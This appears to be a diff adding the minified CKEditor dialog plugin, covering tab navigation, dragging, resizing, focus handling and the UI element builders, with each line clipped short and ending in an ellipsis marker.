+(function(){function p(){for(var a=this._.tabIdList.length,b=CKEDITOR.tools.indexOf(this._.tabIdList,this._.currentTabId)+a,c=b-1;c>b-a;c--)if(this._.tabs[this._.tabIdList[c%a]][0].$.offsetHeight)return this._.tabIdList[c%a];return null}function u(){for(var a=this._.tabIdList.length,b=CKEDITOR.tools.indexOf(this._.tabIdList,this._.currentTabId),c=b+1;c<b+a;c++)if(this._.tabs[this._.tabIdList[c%a]][0].$.offsetHeight)return this._.tabIdList[c%a];return null}function q(a,b){for(var c=a.$.ge [...]
+e=0,d=c.length;e<d;e++){var g=new CKEDITOR.dom.element(c[e]);"text"==g.getAttribute("type").toLowerCase()&&(b?(g.setAttribute("value",g.getCustomData("fake_value")||""),g.removeCustomData("fake_value")):(g.setCustomData("fake_value",g.getAttribute("value")),g.setAttribute("value","")))}}function P(a,b){var c=this.getInputElement();c&&(a?c.removeAttribute("aria-invalid"):c.setAttribute("aria-invalid",!0));a||(this.select?this.select():this.focus());b&&alert(b);this.fire("validated",{valid [...]
+function Q(){var a=this.getInputElement();a&&a.removeAttribute("aria-invalid")}function R(a){var a=CKEDITOR.dom.element.createFromHtml(CKEDITOR.addTemplate("dialog",S).output({id:CKEDITOR.tools.getNextNumber(),editorId:a.id,langDir:a.lang.dir,langCode:a.langCode,editorDialogClass:"cke_editor_"+a.name.replace(/\./g,"\\.")+"_dialog",closeTitle:a.lang.common.close})),b=a.getChild([0,0,0,0,0]),c=b.getChild(0),e=b.getChild(1);if(CKEDITOR.env.ie&&!CKEDITOR.env.ie6Compat){var d=CKEDITOR.env.isC [...]
+d="javascript:void(function(){"+encodeURIComponent("document.open();"+(d?'document.domain="'+document.domain+'";':"")+"document.close();")+"}())";CKEDITOR.dom.element.createFromHtml('<iframe frameBorder="0" class="cke_iframe_shim" src="'+d+'" tabIndex="-1"></iframe>').appendTo(b.getParent())}c.unselectable();e.unselectable();return{element:a,parts:{dialog:a.getChild(0),title:c,close:e,tabs:b.getChild(2),contents:b.getChild([3,0,0,0]),footer:b.getChild([3,0,1,0])}}}function H(a,b,c){this. [...]
+this.focusIndex=c;this.tabIndex=0;this.isFocusable=function(){return!b.getAttribute("disabled")&&b.isVisible()};this.focus=function(){a._.currentFocusIndex=this.focusIndex;this.element.focus()};b.on("keydown",function(a){a.data.getKeystroke()in{32:1,13:1}&&this.fire("click")});b.on("focus",function(){this.fire("mouseover")});b.on("blur",function(){this.fire("mouseout")})}function T(a){function b(){a.layout()}var c=CKEDITOR.document.getWindow();c.on("resize",b);a.on("hide",function(){c.re [...]
+b)})}function I(a,b){this._={dialog:a};CKEDITOR.tools.extend(this,b)}function U(a){function b(b){var c=a.getSize(),h=CKEDITOR.document.getWindow().getViewPaneSize(),o=b.data.$.screenX,i=b.data.$.screenY,n=o-e.x,l=i-e.y;e={x:o,y:i};d.x+=n;d.y+=l;a.move(d.x+k[3]<f?-k[3]:d.x-k[1]>h.width-c.width-f?h.width-c.width+("rtl"==g.lang.dir?0:k[1]):d.x,d.y+k[0]<f?-k[0]:d.y-k[2]>h.height-c.height-f?h.height-c.height+k[2]:d.y,1);b.data.preventDefault()}function c(){CKEDITOR.document.removeListener("mo [...]
+b);CKEDITOR.document.removeListener("mouseup",c);if(CKEDITOR.env.ie6Compat){var a=r.getChild(0).getFrameDocument();a.removeListener("mousemove",b);a.removeListener("mouseup",c)}}var e=null,d=null;a.getElement().getFirst();var g=a.getParentEditor(),f=g.config.dialog_magnetDistance,k=CKEDITOR.skin.margins||[0,0,0,0];"undefined"==typeof f&&(f=20);a.parts.title.on("mousedown",function(f){e={x:f.data.$.screenX,y:f.data.$.screenY};CKEDITOR.document.on("mousemove",b);CKEDITOR.document.on("mouse [...]
+a.getPosition();if(CKEDITOR.env.ie6Compat){var g=r.getChild(0).getFrameDocument();g.on("mousemove",b);g.on("mouseup",c)}f.data.preventDefault()},a)}function V(a){var b,c;function e(d){var e="rtl"==k.lang.dir,i=o.width,D=o.height,E=i+(d.data.$.screenX-b)*(e?-1:1)*(a._.moved?1:2),n=D+(d.data.$.screenY-c)*(a._.moved?1:2),x=a._.element.getFirst(),x=e&&x.getComputedStyle("right"),y=a.getPosition();y.y+n>h.height&&(n=h.height-y.y);if((e?x:y.x)+E>h.width)E=h.width-(e?x:y.x);if(f==CKEDITOR.DIALO [...]
+f==CKEDITOR.DIALOG_RESIZE_BOTH)i=Math.max(g.minWidth||0,E-m);if(f==CKEDITOR.DIALOG_RESIZE_HEIGHT||f==CKEDITOR.DIALOG_RESIZE_BOTH)D=Math.max(g.minHeight||0,n-j);a.resize(i,D);a._.moved||a.layout();d.data.preventDefault()}function d(){CKEDITOR.document.removeListener("mouseup",d);CKEDITOR.document.removeListener("mousemove",e);i&&(i.remove(),i=null);if(CKEDITOR.env.ie6Compat){var a=r.getChild(0).getFrameDocument();a.removeListener("mouseup",d);a.removeListener("mousemove",e)}}var g=a.defin [...]
+if(f!=CKEDITOR.DIALOG_RESIZE_NONE){var k=a.getParentEditor(),m,j,h,o,i,n=CKEDITOR.tools.addFunction(function(f){o=a.getSize();var g=a.parts.contents;g.$.getElementsByTagName("iframe").length&&(i=CKEDITOR.dom.element.createFromHtml('<div class="cke_dialog_resize_cover" style="height: 100%; position: absolute; width: 100%;"></div>'),g.append(i));j=o.height-a.parts.contents.getSize("height",!(CKEDITOR.env.gecko||CKEDITOR.env.opera||CKEDITOR.env.ie&&CKEDITOR.env.quirks));m=o.width-a.parts.co [...]
+1);b=f.screenX;c=f.screenY;h=CKEDITOR.document.getWindow().getViewPaneSize();CKEDITOR.document.on("mousemove",e);CKEDITOR.document.on("mouseup",d);CKEDITOR.env.ie6Compat&&(g=r.getChild(0).getFrameDocument(),g.on("mousemove",e),g.on("mouseup",d));f.preventDefault&&f.preventDefault()});a.on("load",function(){var b="";f==CKEDITOR.DIALOG_RESIZE_WIDTH?b=" cke_resizer_horizontal":f==CKEDITOR.DIALOG_RESIZE_HEIGHT&&(b=" cke_resizer_vertical");b=CKEDITOR.dom.element.createFromHtml('<div class="ck [...]
+b+" cke_resizer_"+k.lang.dir+'" title="'+CKEDITOR.tools.htmlEncode(k.lang.common.resize)+'" onmousedown="CKEDITOR.tools.callFunction('+n+', event )">'+("ltr"==k.lang.dir?"◢":"◣")+"</div>");a.parts.footer.append(b,1)});k.on("destroy",function(){CKEDITOR.tools.removeFunction(n)})}}function F(a){a.data.preventDefault(1)}function J(a){var b=CKEDITOR.document.getWindow(),c=a.config,e=c.dialog_backgroundCoverColor||"white",d=c.dialog_backgroundCoverOpacity,g=c.baseFloatZIndex,c=CKEDITOR.tools. [...]
+d,g),f=w[c];if(f)f.show();else{g=['<div tabIndex="-1" style="position: ',CKEDITOR.env.ie6Compat?"absolute":"fixed","; z-index: ",g,"; top: 0px; left: 0px; ",!CKEDITOR.env.ie6Compat?"background-color: "+e:"",'" class="cke_dialog_background_cover">'];if(CKEDITOR.env.ie6Compat){var k=CKEDITOR.env.isCustomDomain(),e="<html><body style=\\'background-color:"+e+";\\'></body></html>";g.push('<iframe hidefocus="true" frameborder="0" id="cke_dialog_background_iframe" src="javascript:');g.push("voi [...]
+(k?"document.domain='"+document.domain+"';":"")+"document.write( '"+e+"' );document.close();})())");g.push('" style="position:absolute;left:0;top:0;width:100%;height: 100%;progid:DXImageTransform.Microsoft.Alpha(opacity=0)"></iframe>')}g.push("</div>");f=CKEDITOR.dom.element.createFromHtml(g.join(""));f.setOpacity(void 0!=d?d:0.5);f.on("keydown",F);f.on("keypress",F);f.on("keyup",F);f.appendTo(CKEDITOR.document.getBody());w[c]=f}a.focusManager.add(f);r=f;var a=function(){var a=b.getViewP [...]
+f.setStyles({width:a.width+"px",height:a.height+"px"})},m=function(){var a=b.getScrollPosition(),c=CKEDITOR.dialog._.currentTop;f.setStyles({left:a.x+"px",top:a.y+"px"});if(c){do a=c.getPosition(),c.move(a.x,a.y);while(c=c._.parentDialog)}};G=a;b.on("resize",a);a();(!CKEDITOR.env.mac||!CKEDITOR.env.webkit)&&f.focus();if(CKEDITOR.env.ie6Compat){var j=function(){m();arguments.callee.prevScrollHandler.apply(this,arguments)};b.$.setTimeout(function(){j.prevScrollHandler=window.onscroll||func [...]
+window.onscroll=j},0);m()}}function K(a){r&&(a.focusManager.remove(r),a=CKEDITOR.document.getWindow(),r.hide(),a.removeListener("resize",G),CKEDITOR.env.ie6Compat&&a.$.setTimeout(function(){window.onscroll=window.onscroll&&window.onscroll.prevScrollHandler||null},0),G=null)}var s=CKEDITOR.tools.cssLength,S='<div class="cke cke_reset_all {editorId} {editorDialogClass}" dir="{langDir}" lang="{langCode}" role="dialog" aria-labelledby="cke_dialog_title_{id}"><table class="cke_dialog '+CKEDIT [...]
+' cke_{langDir}" style="position:absolute" role="presentation"><tr><td role="presentation"><div class="cke_dialog_body" role="presentation"><div id="cke_dialog_title_{id}" class="cke_dialog_title" role="presentation"></div><a id="cke_dialog_close_button_{id}" class="cke_dialog_close_button" href="javascript:void(0)" title="{closeTitle}" role="button"><span class="cke_label">X</span></a><div id="cke_dialog_tabs_{id}" class="cke_dialog_tabs" role="tablist"></div><table class="cke_dialog_co [...]
+CKEDITOR.dialog=function(a,b){function c(){var a=l._.focusList;a.sort(function(a,b){return a.tabIndex!=b.tabIndex?b.tabIndex-a.tabIndex:a.focusIndex-b.focusIndex});for(var b=a.length,c=0;c<b;c++)a[c].focusIndex=c}function e(a){var b=l._.focusList,a=a||0;if(!(1>b.length)){var c=l._.currentFocusIndex;try{b[c].getInputElement().$.blur()}catch(d){}for(var f=c=(c+a+b.length)%b.length;a&&!b[f].isFocusable()&&!(f=(f+a+b.length)%b.length,f==c););b[f].focus();"text"==b[f].type&&b[f].select()}}fun [...]
+CKEDITOR.dialog._.currentTop){var c=b.data.getKeystroke(),f="rtl"==a.lang.dir;o=i=0;if(9==c||c==CKEDITOR.SHIFT+9)c=c==CKEDITOR.SHIFT+9,l._.tabBarMode?(c=c?p.call(l):u.call(l),l.selectPage(c),l._.tabs[c][0].focus()):e(c?-1:1),o=1;else if(c==CKEDITOR.ALT+121&&!l._.tabBarMode&&1<l.getPageCount())l._.tabBarMode=!0,l._.tabs[l._.currentTabId][0].focus(),o=1;else if((37==c||39==c)&&l._.tabBarMode)c=c==(f?39:37)?p.call(l):u.call(l),l.selectPage(c),l._.tabs[c][0].focus(),o=1;else if((13==c||32==c [...]
+this._.tabBarMode=!1,this._.currentFocusIndex=-1,e(1),o=1;else if(13==c){c=b.data.getTarget();if(!c.is("a","button","select","textarea")&&(!c.is("input")||"button"!=c.$.type))(c=this.getButton("ok"))&&CKEDITOR.tools.setTimeout(c.click,0,c),o=1;i=1}else if(27==c)(c=this.getButton("cancel"))?CKEDITOR.tools.setTimeout(c.click,0,c):!1!==this.fire("cancel",{hide:!0}).hide&&this.hide(),i=1;else return;g(b)}}function g(a){o?a.data.preventDefault(1):i&&a.data.stopPropagation()}var f=CKEDITOR.dia [...]
+k=CKEDITOR.tools.clone(W),m=a.config.dialog_buttonsOrder||"OS",j=a.lang.dir,h={},o,i;("OS"==m&&CKEDITOR.env.mac||"rtl"==m&&"ltr"==j||"ltr"==m&&"rtl"==j)&&k.buttons.reverse();f=CKEDITOR.tools.extend(f(a),k);f=CKEDITOR.tools.clone(f);f=new L(this,f);k=R(a);this._={editor:a,element:k.element,name:b,contentSize:{width:0,height:0},size:{width:0,height:0},contents:{},buttons:{},accessKeyMap:{},tabs:{},tabIdList:[],currentTabId:null,currentTabIndex:null,pageCount:0,lastTab:null,tabBarMode:!1,fo [...]
+currentFocusIndex:0,hasFocus:!1};this.parts=k.parts;CKEDITOR.tools.setTimeout(function(){a.fire("ariaWidget",this.parts.contents)},0,this);k={position:CKEDITOR.env.ie6Compat?"absolute":"fixed",top:0,visibility:"hidden"};k["rtl"==j?"right":"left"]=0;this.parts.dialog.setStyles(k);CKEDITOR.event.call(this);this.definition=f=CKEDITOR.fire("dialogDefinition",{name:b,definition:f},a).definition;if(!("removeDialogTabs"in a._)&&a.config.removeDialogTabs){k=a.config.removeDialogTabs.split(";");f [...]
+k.length;j++)if(m=k[j].split(":"),2==m.length){var n=m[0];h[n]||(h[n]=[]);h[n].push(m[1])}a._.removeDialogTabs=h}if(a._.removeDialogTabs&&(h=a._.removeDialogTabs[b]))for(j=0;j<h.length;j++)f.removeContents(h[j]);if(f.onLoad)this.on("load",f.onLoad);if(f.onShow)this.on("show",f.onShow);if(f.onHide)this.on("hide",f.onHide);if(f.onOk)this.on("ok",function(b){a.fire("saveSnapshot");setTimeout(function(){a.fire("saveSnapshot")},0);!1===f.onOk.call(this,b)&&(b.data.hide=!1)});if(f.onCancel)thi [...]
+function(a){!1===f.onCancel.call(this,a)&&(a.data.hide=!1)});var l=this,C=function(a){var b=l._.contents,c=!1,f;for(f in b)for(var d in b[f])if(c=a.call(this,b[f][d]))return};this.on("ok",function(a){C(function(b){if(b.validate){var c=b.validate(this),f="string"==typeof c||!1===c;f&&(a.data.hide=!1,a.stop());P.call(b,!f,"string"==typeof c?c:void 0);return f}})},this,null,0);this.on("cancel",function(b){C(function(c){if(c.isChanged())return confirm(a.lang.common.confirmCancel)||(b.data.hi [...]
+this,null,0);this.parts.close.on("click",function(a){!1!==this.fire("cancel",{hide:!0}).hide&&this.hide();a.data.preventDefault()},this);this.changeFocus=e;var v=this._.element;a.focusManager.add(v,1);this.on("show",function(){v.on("keydown",d,this);if(CKEDITOR.env.opera||CKEDITOR.env.gecko)v.on("keypress",g,this)});this.on("hide",function(){v.removeListener("keydown",d);(CKEDITOR.env.opera||CKEDITOR.env.gecko)&&v.removeListener("keypress",g);C(function(a){Q.apply(a)})});this.on("iframeA [...]
+d,this,null,0)});this.on("show",function(){c();if(a.config.dialog_startupFocusTab&&1<l._.pageCount)l._.tabBarMode=!0,l._.tabs[l._.currentTabId][0].focus();else if(!this._.hasFocus)if(this._.currentFocusIndex=-1,f.onFocus){var b=f.onFocus.call(this);b&&b.focus()}else e(1)},this,null,4294967295);if(CKEDITOR.env.ie6Compat)this.on("load",function(){var a=this.getElement(),b=a.getFirst();b.remove();b.appendTo(a)},this);U(this);V(this);(new CKEDITOR.dom.text(f.title,CKEDITOR.document)).appendT [...]
+for(j=0;j<f.contents.length;j++)(h=f.contents[j])&&this.addPage(h);this.parts.tabs.on("click",function(a){var b=a.data.getTarget();b.hasClass("cke_dialog_tab")&&(b=b.$.id,this.selectPage(b.substring(4,b.lastIndexOf("_"))),this._.tabBarMode&&(this._.tabBarMode=!1,this._.currentFocusIndex=-1,e(1)),a.data.preventDefault())},this);j=[];h=CKEDITOR.dialog._.uiElementBuilders.hbox.build(this,{type:"hbox",className:"cke_dialog_footer_buttons",widths:[],children:f.buttons},j).getChild();this.part [...]
+for(j=0;j<h.length;j++)this._.buttons[h[j].id]=h[j]};CKEDITOR.dialog.prototype={destroy:function(){this.hide();this._.element.remove()},resize:function(){return function(a,b){if(!this._.contentSize||!(this._.contentSize.width==a&&this._.contentSize.height==b))CKEDITOR.dialog.fire("resize",{dialog:this,width:a,height:b},this._.editor),this.fire("resize",{width:a,height:b},this._.editor),this.parts.contents.setStyles({width:a+"px",height:b+"px"}),"rtl"==this._.editor.lang.dir&&this._.posit [...]
+CKEDITOR.document.getWindow().getViewPaneSize().width-this._.contentSize.width-parseInt(this._.element.getFirst().getStyle("right"),10)),this._.contentSize={width:a,height:b}}}(),getSize:function(){var a=this._.element.getFirst();return{width:a.$.offsetWidth||0,height:a.$.offsetHeight||0}},move:function(a,b,c){var e=this._.element.getFirst(),d="rtl"==this._.editor.lang.dir,g="fixed"==e.getComputedStyle("position");if(!g||!this._.position||!(this._.position.x==a&&this._.position.y==b))thi [...]
+{x:a,y:b},g||(g=CKEDITOR.document.getWindow().getScrollPosition(),a+=g.x,b+=g.y),d&&(g=this.getSize(),a=CKEDITOR.document.getWindow().getViewPaneSize().width-g.width-a),b={top:(0<b?b:0)+"px"},b[d?"right":"left"]=(0<a?a:0)+"px",e.setStyles(b),c&&(this._.moved=1)},getPosition:function(){return CKEDITOR.tools.extend({},this._.position)},show:function(){var a=this._.element,b=this.definition;!a.getParent()||!a.getParent().equals(CKEDITOR.document.getBody())?a.appendTo(CKEDITOR.document.getBo [...]
+"block");if(CKEDITOR.env.gecko&&10900>CKEDITOR.env.version){var c=this.parts.dialog;c.setStyle("position","absolute");setTimeout(function(){c.setStyle("position","fixed")},0)}this.resize(this._.contentSize&&this._.contentSize.width||b.width||b.minWidth,this._.contentSize&&this._.contentSize.height||b.height||b.minHeight);this.reset();this.selectPage(this.definition.contents[0].id);null===CKEDITOR.dialog._.currentZIndex&&(CKEDITOR.dialog._.currentZIndex=this._.editor.config.baseFloatZInde [...]
+CKEDITOR.dialog._.currentZIndex+=10);null===CKEDITOR.dialog._.currentTop?(CKEDITOR.dialog._.currentTop=this,this._.parentDialog=null,J(this._.editor)):(this._.parentDialog=CKEDITOR.dialog._.currentTop,this._.parentDialog.getElement().getFirst().$.style.zIndex-=Math.floor(this._.editor.config.baseFloatZIndex/2),CKEDITOR.dialog._.currentTop=this);a.on("keydown",M);a.on(CKEDITOR.env.opera?"keypress":"keyup",N);this._.hasFocus=!1;CKEDITOR.tools.setTimeout(function(){this.layout();T(this);thi [...]
+"");this.fireOnce("load",{});CKEDITOR.ui.fire("ready",this);this.fire("show",{});this._.editor.fire("dialogShow",this);this._.parentDialog||this._.editor.focusManager.lock();this.foreach(function(a){a.setInitValue&&a.setInitValue()})},100,this)},layout:function(){var a=this.parts.dialog,b=this.getSize(),c=CKEDITOR.document.getWindow().getViewPaneSize(),e=(c.width-b.width)/2,d=(c.height-b.height)/2;CKEDITOR.env.ie6Compat||(b.height+(0<d?d:0)>c.height||b.width+(0<e?e:0)>c.width?a.setStyle( [...]
+"absolute"):a.setStyle("position","fixed"));this.move(this._.moved?this._.position.x:e,this._.moved?this._.position.y:d)},foreach:function(a){for(var b in this._.contents)for(var c in this._.contents[b])a.call(this,this._.contents[b][c]);return this},reset:function(){var a=function(a){a.reset&&a.reset(1)};return function(){this.foreach(a);return this}}(),setupContent:function(){var a=arguments;this.foreach(function(b){b.setup&&b.setup.apply(b,a)})},commitContent:function(){var a=argument [...]
+this._.currentFocusIndex==b.focusIndex&&b.getInputElement().$.blur();b.commit&&b.commit.apply(b,a)})},hide:function(){if(this.parts.dialog.isVisible()){this.fire("hide",{});this._.editor.fire("dialogHide",this);this.selectPage(this._.tabIdList[0]);var a=this._.element;a.setStyle("display","none");this.parts.dialog.setStyle("visibility","hidden");for(X(this);CKEDITOR.dialog._.currentTop!=this;)CKEDITOR.dialog._.currentTop.hide();if(this._.parentDialog){var b=this._.parentDialog.getElement [...]
+b.setStyle("z-index",parseInt(b.$.style.zIndex,10)+Math.floor(this._.editor.config.baseFloatZIndex/2))}else K(this._.editor);if(CKEDITOR.dialog._.currentTop=this._.parentDialog)CKEDITOR.dialog._.currentZIndex-=10;else{CKEDITOR.dialog._.currentZIndex=null;a.removeListener("keydown",M);a.removeListener(CKEDITOR.env.opera?"keypress":"keyup",N);var c=this._.editor;c.focus();setTimeout(function(){c.focusManager.unlock()},0)}delete this._.parentDialog;this.foreach(function(a){a.resetInitValue& [...]
+addPage:function(a){var b=[],c=a.label?' title="'+CKEDITOR.tools.htmlEncode(a.label)+'"':"",e=CKEDITOR.dialog._.uiElementBuilders.vbox.build(this,{type:"vbox",className:"cke_dialog_page_contents",children:a.elements,expand:!!a.expand,padding:a.padding,style:a.style||"width: 100%;"},b),b=CKEDITOR.dom.element.createFromHtml(b.join(""));b.setAttribute("role","tabpanel");var d=CKEDITOR.env,g="cke_"+a.id+"_"+CKEDITOR.tools.getNextNumber(),c=CKEDITOR.dom.element.createFromHtml(['<a class="cke_ [...]
+0<this._.pageCount?" cke_last":"cke_first",c,a.hidden?' style="display:none"':"",' id="',g,'"',d.gecko&&10900<=d.version&&!d.hc?"":' href="javascript:void(0)"',' tabIndex="-1" hidefocus="true" role="tab">',a.label,"</a>"].join(""));b.setAttribute("aria-labelledby",g);this._.tabs[a.id]=[c,b];this._.tabIdList.push(a.id);!a.hidden&&this._.pageCount++;this._.lastTab=c;this.updateStyle();g=this._.contents[a.id]={};for(d=e.getChild();e=d.shift();)g[e.id]=e,"function"==typeof e.getChild&&d.push [...]
+e.getChild());b.setAttribute("name",a.id);b.appendTo(this.parts.contents);c.unselectable();this.parts.tabs.append(c);a.accessKey&&(O(this,this,"CTRL+"+a.accessKey,Y,Z),this._.accessKeyMap["CTRL+"+a.accessKey]=a.id)},selectPage:function(a){if(this._.currentTabId!=a&&!0!==this.fire("selectPage",{page:a,currentPage:this._.currentTabId})){for(var b in this._.tabs){var c=this._.tabs[b][0],e=this._.tabs[b][1];b!=a&&(c.removeClass("cke_dialog_tab_selected"),e.hide());e.setAttribute("aria-hidden [...]
+this._.tabs[a];d[0].addClass("cke_dialog_tab_selected");CKEDITOR.env.ie6Compat||CKEDITOR.env.ie7Compat?(q(d[1]),d[1].show(),setTimeout(function(){q(d[1],1)},0)):d[1].show();this._.currentTabId=a;this._.currentTabIndex=CKEDITOR.tools.indexOf(this._.tabIdList,a)}},updateStyle:function(){this.parts.dialog[(1===this._.pageCount?"add":"remove")+"Class"]("cke_single_page")},hidePage:function(a){var b=this._.tabs[a]&&this._.tabs[a][0];b&&(1!=this._.pageCount&&b.isVisible())&&(a==this._.currentT [...]
+b.hide(),this._.pageCount--,this.updateStyle())},showPage:function(a){if(a=this._.tabs[a]&&this._.tabs[a][0])a.show(),this._.pageCount++,this.updateStyle()},getElement:function(){return this._.element},getName:function(){return this._.name},getContentElement:function(a,b){var c=this._.contents[a];return c&&c[b]},getValueOf:function(a,b){return this.getContentElement(a,b).getValue()},setValueOf:function(a,b,c){return this.getContentElement(a,b).setValue(c)},getButton:function(a){return th [...]
+click:function(a){return this._.buttons[a].click()},disableButton:function(a){return this._.buttons[a].disable()},enableButton:function(a){return this._.buttons[a].enable()},getPageCount:function(){return this._.pageCount},getParentEditor:function(){return this._.editor},getSelectedElement:function(){return this.getParentEditor().getSelection().getSelectedElement()},addFocusable:function(a,b){if("undefined"==typeof b)b=this._.focusList.length,this._.focusList.push(new H(this,a,b));else{t [...]
+0,new H(this,a,b));for(var c=b+1;c<this._.focusList.length;c++)this._.focusList[c].focusIndex++}}};CKEDITOR.tools.extend(CKEDITOR.dialog,{add:function(a,b){if(!this._.dialogDefinitions[a]||"function"==typeof b)this._.dialogDefinitions[a]=b},exists:function(a){return!!this._.dialogDefinitions[a]},getCurrent:function(){return CKEDITOR.dialog._.currentTop},okButton:function(){var a=function(a,c){c=c||{};return CKEDITOR.tools.extend({id:"ok",type:"button",label:a.lang.common.ok,"class":"cke_ [...]
+onClick:function(a){a=a.data.dialog;!1!==a.fire("ok",{hide:!0}).hide&&a.hide()}},c,!0)};a.type="button";a.override=function(b){return CKEDITOR.tools.extend(function(c){return a(c,b)},{type:"button"},!0)};return a}(),cancelButton:function(){var a=function(a,c){c=c||{};return CKEDITOR.tools.extend({id:"cancel",type:"button",label:a.lang.common.cancel,"class":"cke_dialog_ui_button_cancel",onClick:function(a){a=a.data.dialog;!1!==a.fire("cancel",{hide:!0}).hide&&a.hide()}},c,!0)};a.type="but [...]
+function(b){return CKEDITOR.tools.extend(function(c){return a(c,b)},{type:"button"},!0)};return a}(),addUIElement:function(a,b){this._.uiElementBuilders[a]=b}});CKEDITOR.dialog._={uiElementBuilders:{},dialogDefinitions:{},currentTop:null,currentZIndex:null};CKEDITOR.event.implementOn(CKEDITOR.dialog);CKEDITOR.event.implementOn(CKEDITOR.dialog.prototype,!0);var W={resizable:CKEDITOR.DIALOG_RESIZE_BOTH,minWidth:600,minHeight:400,buttons:[CKEDITOR.dialog.okButton,CKEDITOR.dialog.cancelButto [...]
+b,c){for(var e=0,d;d=a[e];e++)if(d.id==b||c&&d[c]&&(d=z(d[c],b,c)))return d;return null},A=function(a,b,c,e,d){if(c){for(var g=0,f;f=a[g];g++){if(f.id==c)return a.splice(g,0,b),b;if(e&&f[e]&&(f=A(f[e],b,c,e,!0)))return f}if(d)return null}a.push(b);return b},B=function(a,b,c){for(var e=0,d;d=a[e];e++){if(d.id==b)return a.splice(e,1);if(c&&d[c]&&(d=B(d[c],b,c)))return d}return null},L=function(a,b){this.dialog=a;for(var c=b.contents,e=0,d;d=c[e];e++)c[e]=d&&new I(a,d);CKEDITOR.tools.extend [...]
+L.prototype={getContents:function(a){return z(this.contents,a)},getButton:function(a){return z(this.buttons,a)},addContents:function(a,b){return A(this.contents,a,b)},addButton:function(a,b){return A(this.buttons,a,b)},removeContents:function(a){B(this.contents,a)},removeButton:function(a){B(this.buttons,a)}};I.prototype={get:function(a){return z(this.elements,a,"children")},add:function(a,b){return A(this.elements,a,b,"children")},remove:function(a){B(this.elements,a,"children")}};var G [...]
+{},M=function(a){var b=a.data.$.ctrlKey||a.data.$.metaKey,c=a.data.$.altKey,e=a.data.$.shiftKey,d=String.fromCharCode(a.data.$.keyCode);if((b=t[(b?"CTRL+":"")+(c?"ALT+":"")+(e?"SHIFT+":"")+d])&&b.length)b=b[b.length-1],b.keydown&&b.keydown.call(b.uiElement,b.dialog,b.key),a.data.preventDefault()},N=function(a){var b=a.data.$.ctrlKey||a.data.$.metaKey,c=a.data.$.altKey,e=a.data.$.shiftKey,d=String.fromCharCode(a.data.$.keyCode);if((b=t[(b?"CTRL+":"")+(c?"ALT+":"")+(e?"SHIFT+":"")+d])&&b.l [...]
+1],b.keyup&&(b.keyup.call(b.uiElement,b.dialog,b.key),a.data.preventDefault())},O=function(a,b,c,e,d){(t[c]||(t[c]=[])).push({uiElement:a,dialog:b,key:c,keyup:d||a.accessKeyUp,keydown:e||a.accessKeyDown})},X=function(a){for(var b in t){for(var c=t[b],e=c.length-1;0<=e;e--)(c[e].dialog==a||c[e].uiElement==a)&&c.splice(e,1);0===c.length&&delete t[b]}},Z=function(a,b){a._.accessKeyMap[b]&&a.selectPage(a._.accessKeyMap[b])},Y=function(){};(function(){CKEDITOR.ui.dialog={uiElement:function(a, [...]
+f){if(!(4>arguments.length)){var k=(e.call?e(b):e)||"div",m=["<",k," "],j=(d&&d.call?d(b):d)||{},h=(g&&g.call?g(b):g)||{},o=(f&&f.call?f.call(this,a,b):f)||"",i=this.domId=h.id||CKEDITOR.tools.getNextId()+"_uiElement";this.id=b.id;h.id=i;var n={};b.type&&(n["cke_dialog_ui_"+b.type]=1);b.className&&(n[b.className]=1);b.disabled&&(n.cke_disabled=1);for(var l=h["class"]&&h["class"].split?h["class"].split(" "):[],i=0;i<l.length;i++)l[i]&&(n[l[i]]=1);l=[];for(i in n)l.push(i);h["class"]=l.joi [...]
+(h.title=b.title);n=(b.style||"").split(";");b.align&&(l=b.align,j["margin-left"]="left"==l?0:"auto",j["margin-right"]="right"==l?0:"auto");for(i in j)n.push(i+":"+j[i]);b.hidden&&n.push("display:none");for(i=n.length-1;0<=i;i--)""===n[i]&&n.splice(i,1);0<n.length&&(h.style=(h.style?h.style+"; ":"")+n.join("; "));for(i in h)m.push(i+'="'+CKEDITOR.tools.htmlEncode(h[i])+'" ');m.push(">",o,"</",k,">");c.push(m.join(""));(this._||(this._={})).dialog=a;"boolean"==typeof b.isChanged&&(this.is [...]
+"function"==typeof b.isChanged&&(this.isChanged=b.isChanged);"function"==typeof b.setValue&&(this.setValue=CKEDITOR.tools.override(this.setValue,function(a){return function(c){a.call(this,b.setValue.call(this,c))}}));"function"==typeof b.getValue&&(this.getValue=CKEDITOR.tools.override(this.getValue,function(a){return function(){return b.getValue.call(this,a.call(this))}}));CKEDITOR.event.implementOn(this);this.registerEvents(b);this.accessKeyUp&&(this.accessKeyDown&&b.accessKey)&&O(this [...]
+b.accessKey);var p=this;a.on("load",function(){var b=p.getInputElement();if(b){var c=p.type in{checkbox:1,ratio:1}&&CKEDITOR.env.ie&&CKEDITOR.env.version<8?"cke_dialog_ui_focused":"";b.on("focus",function(){a._.tabBarMode=false;a._.hasFocus=true;p.fire("focus");c&&this.addClass(c)});b.on("blur",function(){p.fire("blur");c&&this.removeClass(c)})}});this.keyboardFocusable&&(this.tabIndex=b.tabIndex||0,this.focusIndex=a._.focusList.push(this)-1,this.on("focus",function(){a._.currentFocusInd [...]
+CKEDITOR.tools.extend(this,b)}},hbox:function(a,b,c,e,d){if(!(4>arguments.length)){this._||(this._={});var g=this._.children=b,f=d&&d.widths||null,k=d&&d.height||null,m,j={role:"presentation"};d&&d.align&&(j.align=d.align);CKEDITOR.ui.dialog.uiElement.call(this,a,d||{type:"hbox"},e,"table",{},j,function(){var a=['<tbody><tr class="cke_dialog_ui_hbox">'];for(m=0;m<c.length;m++){var b="cke_dialog_ui_hbox_child",e=[];0===m&&(b="cke_dialog_ui_hbox_first");m==c.length-1&&(b="cke_dialog_ui_hbo [...]
+a.push('<td class="',b,'" role="presentation" ');f?f[m]&&e.push("width:"+s(f[m])):e.push("width:"+Math.floor(100/c.length)+"%");k&&e.push("height:"+s(k));d&&void 0!=d.padding&&e.push("padding:"+s(d.padding));CKEDITOR.env.ie&&(CKEDITOR.env.quirks&&g[m].align)&&e.push("text-align:"+g[m].align);0<e.length&&a.push('style="'+e.join("; ")+'" ');a.push(">",c[m],"</td>")}a.push("</tr></tbody>");return a.join("")})}},vbox:function(a,b,c,e,d){if(!(3>arguments.length)){this._||(this._={});var g=thi [...]
